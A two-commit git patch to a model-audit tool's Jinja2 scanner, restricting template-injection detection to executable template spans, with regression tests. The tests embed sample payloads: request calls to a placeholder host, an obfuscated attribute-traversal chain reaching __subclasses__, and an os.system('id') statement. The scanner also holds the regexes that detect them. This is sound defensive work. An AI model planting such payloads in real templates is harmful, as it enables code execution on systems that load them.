From 1ac97a042fd7ae4a2d0739d57153363d29e6db50 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 11 Jun 2026 01:20:10 +0000 Subject: [PATCH 1/2] fix(jinja): require executable SSTI context Scope static Jinja SSTI regexes to executable template spans so literal chat-template prose does not trigger critical request-call findings. Preserve active expressions, statements, obfuscated traversal, and malformed active payload detection with focused regressions. --- CHANGELOG.md | 1 + .../scanners/jinja2_template_scanner.py | 153 ++++++++++++++- .../scanners/test_jinja2_template_scanner.py | 175 +++++++++++++++++- 3 files changed, 322 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 06df6221e..62a266933 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Bug Fixes - stream bounded Llamafile runtime coverage across preview gaps and report incomplete runtime reads or bounds +- restrict Jinja SSTI indicators to executable template spans so prose mentions of request handling do not produce critical findings - prefer validated SafeTensors framing over invalid pickle and weak-magic collisions while retaining security-bearing pickle overlaps - scope both ONNX weight scanners to bounded semantic weight lineage across nested graphs, control flow, local functions, constants, Gather/Einsum, and static views; fail closed on ambiguous or sparse coverage; and evaluate extreme tails per conceptual output without suppressing repeated malicious patterns or flagging clean heavy tails - derive PyTorch ZIP pickle opcode summaries from exact opcode evidence instead of matching substrings in finding text diff --git a/modelaudit/scanners/jinja2_template_scanner.py b/modelaudit/scanners/jinja2_template_scanner.py index e90f65f0d..a3d23471b 100644 --- a/modelaudit/scanners/jinja2_template_scanner.py +++ b/modelaudit/scanners/jinja2_template_scanner.py @@ -381,6 +381,11 @@ def __init__( self.explanation = explanation +@dataclass(frozen=True) +class _ExecutableTemplateSpan: + text: str + + def _scan_result_has_security_findings(result: ScanResult) -> bool: return any(issue.severity in (IssueSeverity.WARNING, IssueSeverity.CRITICAL) for issue in result.issues) @@ -1386,10 +1391,17 @@ def _analyze_template( if not template_content or len(template_content.strip()) < 3: return detections, analysis_failures - # Check each pattern category + executable_spans = self._executable_template_spans(template_content) + + # Check each pattern category only inside executable Jinja spans. Literal + # template data can contain model instructions or documentation prose. for category, compiled_patterns in self._compiled_patterns.items(): for compiled_pattern, original_pattern in compiled_patterns: - matches = compiled_pattern.finditer(template_content) + matches = ( + match + for executable_span in executable_spans + for match in compiled_pattern.finditer(executable_span.text) + ) for match in matches: # Skip if this is a common ML pattern and we're configured to ignore them @@ -1426,6 +1438,134 @@ def _analyze_template( return detections, analysis_failures + @staticmethod + def _executable_template_spans(template_content: str) -> list[_ExecutableTemplateSpan]: + if HAS_JINJA2_SANDBOX: + lexer_spans = Jinja2TemplateScanner._jinja_lexer_executable_template_spans(template_content) + if lexer_spans is not None: + return lexer_spans + return Jinja2TemplateScanner._delimiter_executable_template_spans(template_content) + + @staticmethod + def _jinja_lexer_executable_template_spans(template_content: str) -> list[_ExecutableTemplateSpan] | None: + spans: list[_ExecutableTemplateSpan] = [] + active_start: int | None = None + cursor = 0 + + try: + tokens = jinja2.Environment().lex(template_content) + for _lineno, token_type, token_value in tokens: + token_start = cursor + token_end = token_start + len(token_value) + if template_content[token_start:token_end] != token_value: + return None + + if token_type in {"variable_begin", "block_begin"}: + active_start = token_start + if active_start is not None and token_type in {"variable_end", "block_end"}: + spans.append(_ExecutableTemplateSpan(template_content[active_start:token_end])) + active_start = None + + cursor = token_end + except Exception: + return None + + if active_start is not None: + spans.append(_ExecutableTemplateSpan(template_content[active_start:cursor])) + return spans + + @staticmethod + def _delimiter_executable_template_spans(template_content: str) -> list[_ExecutableTemplateSpan]: + spans: list[_ExecutableTemplateSpan] = [] + cursor = 0 + while cursor < len(template_content): + marker_start, marker = Jinja2TemplateScanner._next_jinja_marker(template_content, cursor) + if marker_start is None or marker is None: + break + + if marker == "{#": + cursor = Jinja2TemplateScanner._find_jinja_tag_end(template_content, marker_start, "#}") + continue + + if marker == "{{": + span_end = Jinja2TemplateScanner._find_jinja_tag_end(template_content, marker_start, "}}") + spans.append(_ExecutableTemplateSpan(template_content[marker_start:span_end])) + cursor = max(span_end, marker_start + len(marker)) + continue + + span_end = Jinja2TemplateScanner._find_jinja_tag_end(template_content, marker_start, "%}") + span_text = template_content[marker_start:span_end] + tag_name = Jinja2TemplateScanner._jinja_block_tag_name(span_text) + if tag_name == "raw": + cursor = Jinja2TemplateScanner._find_jinja_raw_end(template_content, span_end) + continue + + spans.append(_ExecutableTemplateSpan(span_text)) + cursor = max(span_end, marker_start + len(marker)) + + return spans + + @staticmethod + def _next_jinja_marker(template_content: str, cursor: int) -> tuple[int | None, str | None]: + next_marker_start: int | None = None + next_marker: str | None = None + for marker in ("{{", "{%", "{#"): + marker_start = template_content.find(marker, cursor) + if marker_start != -1 and (next_marker_start is None or marker_start < next_marker_start): + next_marker_start = marker_start + next_marker = marker + return next_marker_start, next_marker + + @staticmethod + def _find_jinja_tag_end(template_content: str, marker_start: int, end_token: str) -> int: + cursor = marker_start + 2 + quote: str | None = None + escaped = False + while cursor < len(template_content): + character = template_content[cursor] + if quote is not None: + if escaped: + escaped = False + elif character == "\\": + escaped = True + elif character == quote: + quote = None + cursor += 1 + continue + + if character in {"'", '"'}: + quote = character + cursor += 1 + continue + + if template_content.startswith(end_token, cursor): + return cursor + len(end_token) + cursor += 1 + + return len(template_content) + + @staticmethod + def _jinja_block_tag_name(span_text: str) -> str: + if not span_text.startswith("{%"): + return "" + if span_text.endswith("%}"): + span_text = span_text[:-2] + inner = span_text[2:].strip(" \t\r\n-+") + return inner.split(None, 1)[0].lower() if inner else "" + + @staticmethod + def _find_jinja_raw_end(template_content: str, cursor: int) -> int: + while cursor < len(template_content): + block_start = template_content.find("{%", cursor) + if block_start == -1: + return len(template_content) + block_end = Jinja2TemplateScanner._find_jinja_tag_end(template_content, block_start, "%}") + block_text = template_content[block_start:block_end] + if Jinja2TemplateScanner._jinja_block_tag_name(block_text) == "endraw": + return block_end + cursor = max(block_end, block_start + 2) + return len(template_content) + def _is_common_ml_pattern(self, match_text: str, context: MLContext) -> bool: """Check if match is a common, benign ML pattern""" match_lower = match_text.lower() @@ -1644,10 +1784,11 @@ def _template_has_static_preflight_render_budget_risk(self, template_content: st ) or self._template_ast_has_static_repeated_sequence_budget_risk(parsed) def _template_has_static_sandbox_risk(self, template_content: str) -> bool: - return bool( - re.search(r"\.\s*__\w+__", template_content) - or re.search(r"\|\s*attr\s*\(\s*['\"]__\w+__", template_content) - or re.search(r"\[\s*['\"]__\w+__['\"]\s*\]", template_content) + return any( + re.search(r"\.\s*__\w+__", executable_span.text) + or re.search(r"\|\s*attr\s*\(\s*['\"]__\w+__", executable_span.text) + or re.search(r"\[\s*['\"]__\w+__['\"]\s*\]", executable_span.text) + for executable_span in self._executable_template_spans(template_content) ) def _template_has_static_sandbox_probe_risk(self, template_content: str) -> bool: diff --git a/tests/scanners/test_jinja2_template_scanner.py b/tests/scanners/test_jinja2_template_scanner.py index d99580679..76aeb046a 100644 --- a/tests/scanners/test_jinja2_template_scanner.py +++ b/tests/scanners/test_jinja2_template_scanner.py @@ -11,7 +11,7 @@ from modelaudit.config.rule_config import ModelAuditConfig, reset_config, set_config from modelaudit.core import determine_exit_code, scan_model_directory_or_file from modelaudit.scanners import jinja2_template_scanner -from modelaudit.scanners.base import CheckStatus, IssueSeverity +from modelaudit.scanners.base import Check, CheckStatus, IssueSeverity, ScanResult from modelaudit.scanners.jinja2_template_scanner import Jinja2TemplateScanner from tests.helpers import create_mock_gguf @@ -45,6 +45,10 @@ def _copy_as_tokenizer_config(source: Path, tmp_path: Path) -> Path: return target +def _jinja_detection_checks(result: ScanResult) -> list[Check]: + return [check for check in result.checks if check.name == "Jinja2 Template Injection Detection"] + + def test_directory_scan_preserves_path_sensitive_yaml_routing(tmp_path: Path) -> None: misc_dir = tmp_path / "misc" model_dir = tmp_path / "model" @@ -309,6 +313,175 @@ def test_simple_variable_substitution(self, tmp_path: Path) -> None: failed_checks = [c for c in result.checks if c.status == CheckStatus.FAILED] assert len(failed_checks) == 0 + def test_prose_requests_in_structured_chat_templates_is_not_ssti(self, tmp_path: Path) -> None: + """Pinned Cohere-style prose should not trip request-call SSTI regexes.""" + huggingface_dir = tmp_path / "huggingface" / "CohereLabs" / "North-Mini-Code-1.0" + huggingface_dir.mkdir(parents=True) + prose_template = ( + "{% if tools or documents %}\n" + "You should make best use of these skills to serve user's requests.\n" + "Think about how to address requests.\n" + "{% endif %}\n" + "{{ message.content }}" + ) + tokenizer_file = huggingface_dir / "tokenizer_config.json" + tokenizer_file.write_text( + json.dumps( + { + "chat_template": [ + {"name": "default", "template": prose_template}, + {"name": "tool_use", "template": prose_template}, + {"name": "rag", "template": prose_template}, + ] + } + ), + encoding="utf-8", + ) + + result = Jinja2TemplateScanner().scan(str(tokenizer_file)) + + assert _jinja_detection_checks(result) == [] + assert any( + check.name == "Jinja2 SSTI Analysis" and check.status == CheckStatus.PASSED for check in result.checks + ) + + def test_active_requests_call_in_chat_template_is_still_critical(self, tmp_path: Path) -> None: + huggingface_dir = tmp_path / "huggingface" / "model" + huggingface_dir.mkdir(parents=True) + tokenizer_file = huggingface_dir / "tokenizer_config.json" + tokenizer_file.write_text( + json.dumps( + { + "chat_template": [ + { + "name": "default", + "template": "{{ requests.get('https://example.test/payload') }}", + } + ] + } + ), + encoding="utf-8", + ) + + result = Jinja2TemplateScanner().scan(str(tokenizer_file)) + + failed_checks = _jinja_detection_checks(result) + assert any( + check.severity == IssueSeverity.CRITICAL + and check.details.get("pattern_type") == "critical_injection" + and check.details.get("pattern") == r"requests\." + for check in failed_checks + ) + + def test_active_requests_statement_in_chat_template_is_still_critical(self, tmp_path: Path) -> None: + tokenizer_file = tmp_path / "tokenizer_config.json" + tokenizer_file.write_text( + json.dumps( + { + "chat_template": ( + "{% set response = requests.post('https://example.test/payload') %}{{ response.status_code }}" + ) + } + ), + encoding="utf-8", + ) + + result = Jinja2TemplateScanner().scan(str(tokenizer_file)) + + assert any( + check.severity == IssueSeverity.CRITICAL + and check.details.get("pattern_type") == "critical_injection" + and check.details.get("match_text") == "requests." + for check in _jinja_detection_checks(result) + ) + + def test_raw_and_comment_requests_are_not_executable_ssti(self, tmp_path: Path) -> None: + template_file = tmp_path / "requests-docs.jinja" + template_file.write_text( + "{# requests.get('https://example.test/comment') #}\n" + "{% raw %}{{ requests.get('https://example.test/raw') }}{% endraw %}\n" + "Use the tool to address user's requests.\n" + "{{ message.content }}", + encoding="utf-8", + ) + + result = Jinja2TemplateScanner().scan(str(template_file)) + + assert _jinja_detection_checks(result) == [] + + def test_active_obfuscated_attribute_traversal_still_detected(self, tmp_path: Path) -> None: + template_file = tmp_path / "attr-traversal.jinja" + template_file.write_text( + "{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}", + encoding="utf-8", + ) + + result = Jinja2TemplateScanner().scan(str(template_file)) + + failed_checks = _jinja_detection_checks(result) + assert any(check.details.get("pattern_type") == "obfuscation" for check in failed_checks) + + def test_malformed_prose_requests_template_stays_clean(self, tmp_path: Path) -> None: + tokenizer_file = tmp_path / "tokenizer_config.json" + tokenizer_file.write_text( + json.dumps( + { + "chat_template": ( + "{% if tools %}\nUse available tools to serve user's requests.\nThen respond conversationally." + ) + } + ), + encoding="utf-8", + ) + + result = Jinja2TemplateScanner().scan(str(tokenizer_file)) + + assert _jinja_detection_checks(result) == [] + + def test_malformed_active_requests_expression_still_detected(self, tmp_path: Path) -> None: + tokenizer_file = tmp_path / "tokenizer_config.json" + tokenizer_file.write_text( + json.dumps({"chat_template": "{{ requests.get('https://example.test/payload')"}), + encoding="utf-8", + ) + + result = Jinja2TemplateScanner().scan(str(tokenizer_file)) + + assert any( + check.severity == IssueSeverity.CRITICAL + and check.details.get("pattern_type") == "critical_injection" + and check.details.get("match_text") == "requests." + for check in _jinja_detection_checks(result) + ) + + +class TestJinja2TemplateScannerExecutableSpans: + def test_lexer_spans_include_expressions_and_statements_only(self) -> None: + spans = Jinja2TemplateScanner._executable_template_spans( + "literal requests. {{ requests.get('https://example.test') }} " + "{# requests.get('https://example.test/comment') #} " + "{% set x = os.system('id') %}" + ) + + assert [span.text for span in spans] == [ + "{{ requests.get('https://example.test') }}", + "{% set x = os.system('id') %}", + ] + + def test_delimiter_fallback_ignores_raw_body_and_comments( + self, + monkeypatch: pytest.MonkeyPatch, + ) -> None: + monkeypatch.setattr(jinja2_template_scanner, "HAS_JINJA2_SANDBOX", False) + + spans = Jinja2TemplateScanner._executable_template_spans( + "{# requests.get('https://example.test/comment') #}" + "{% raw %}{{ requests.get('https://example.test/raw') }}{% endraw %}" + "{{ requests.get('https://example.test/live')" + ) + + assert [span.text for span in spans] == ["{{ requests.get('https://example.test/live')"] + class TestJinja2TemplateScannerJSONExtraction: """Test JSON template extraction.""" From 31592e0ac6f684fbdda84f2d9118719e1652f024 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 11 Jun 2026 16:46:46 +0000 Subject: [PATCH 2/2] fix(jinja): harden fallback executable span parsing Avoid letting malformed ignored comment/raw regions consume later active Jinja spans in the no-Jinja fallback parser. Add synthetic regressions for later active requests payloads after malformed ignored regions. --- .../scanners/jinja2_template_scanner.py | 26 ++++++++--- .../scanners/test_jinja2_template_scanner.py | 43 +++++++++++++++++++ 2 files changed, 64 insertions(+), 5 deletions(-) diff --git a/modelaudit/scanners/jinja2_template_scanner.py b/modelaudit/scanners/jinja2_template_scanner.py index a3d23471b..0c479f0fe 100644 --- a/modelaudit/scanners/jinja2_template_scanner.py +++ b/modelaudit/scanners/jinja2_template_scanner.py @@ -1484,7 +1484,12 @@ def _delimiter_executable_template_spans(template_content: str) -> list[_Executa break if marker == "{#": - cursor = Jinja2TemplateScanner._find_jinja_tag_end(template_content, marker_start, "#}") + cursor = Jinja2TemplateScanner._find_jinja_tag_end( + template_content, + marker_start, + "#}", + quote_aware=False, + ) continue if marker == "{{": @@ -1517,7 +1522,13 @@ def _next_jinja_marker(template_content: str, cursor: int) -> tuple[int | None, return next_marker_start, next_marker @staticmethod - def _find_jinja_tag_end(template_content: str, marker_start: int, end_token: str) -> int: + def _find_jinja_tag_end( + template_content: str, + marker_start: int, + end_token: str, + *, + quote_aware: bool = True, + ) -> int: cursor = marker_start + 2 quote: str | None = None escaped = False @@ -1533,7 +1544,7 @@ def _find_jinja_tag_end(template_content: str, marker_start: int, end_token: str cursor += 1 continue - if character in {"'", '"'}: + if quote_aware and character in {"'", '"'}: quote = character cursor += 1 continue @@ -1559,11 +1570,16 @@ def _find_jinja_raw_end(template_content: str, cursor: int) -> int: block_start = template_content.find("{%", cursor) if block_start == -1: return len(template_content) - block_end = Jinja2TemplateScanner._find_jinja_tag_end(template_content, block_start, "%}") + block_end = Jinja2TemplateScanner._find_jinja_tag_end( + template_content, + block_start, + "%}", + quote_aware=False, + ) block_text = template_content[block_start:block_end] if Jinja2TemplateScanner._jinja_block_tag_name(block_text) == "endraw": return block_end - cursor = max(block_end, block_start + 2) + cursor = block_start + 2 return len(template_content) def _is_common_ml_pattern(self, match_text: str, context: MLContext) -> bool: diff --git a/tests/scanners/test_jinja2_template_scanner.py b/tests/scanners/test_jinja2_template_scanner.py index 76aeb046a..149786068 100644 --- a/tests/scanners/test_jinja2_template_scanner.py +++ b/tests/scanners/test_jinja2_template_scanner.py @@ -482,6 +482,49 @@ def test_delimiter_fallback_ignores_raw_body_and_comments( assert [span.text for span in spans] == ["{{ requests.get('https://example.test/live')"] + @pytest.mark.parametrize( + "template_content", + [ + pytest.param( + "{# \" requests.get('https://example.test/comment') #}\n" + "{{ requests.get('https://example.test/live') }}", + id="comment-unmatched-quote", + ), + pytest.param( + "{% raw %}" + "{% set ignored = \"requests.get('https://example.test/raw') %}" + "{{ requests.get('https://example.test/raw-expression') }}" + "{% endraw %}\n" + "{{ requests.get('https://example.test/live') }}", + id="raw-unmatched-quote", + ), + ], + ) + def test_delimiter_fallback_malformed_ignored_regions_do_not_hide_later_requests( + self, + template_content: str, + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + ) -> None: + monkeypatch.setattr(jinja2_template_scanner, "HAS_JINJA2_SANDBOX", False) + + spans = Jinja2TemplateScanner._executable_template_spans(template_content) + + assert [span.text for span in spans] == ["{{ requests.get('https://example.test/live') }}"] + + template_file = tmp_path / "malformed-ignored-region.jinja" + template_file.write_text(template_content, encoding="utf-8") + result = Jinja2TemplateScanner().scan(str(template_file)) + + request_checks = [ + check + for check in _jinja_detection_checks(result) + if check.severity == IssueSeverity.CRITICAL + and check.details.get("pattern_type") == "critical_injection" + and check.details.get("match_text") == "requests." + ] + assert len(request_checks) == 1 + class TestJinja2TemplateScannerJSONExtraction: """Test JSON template extraction."""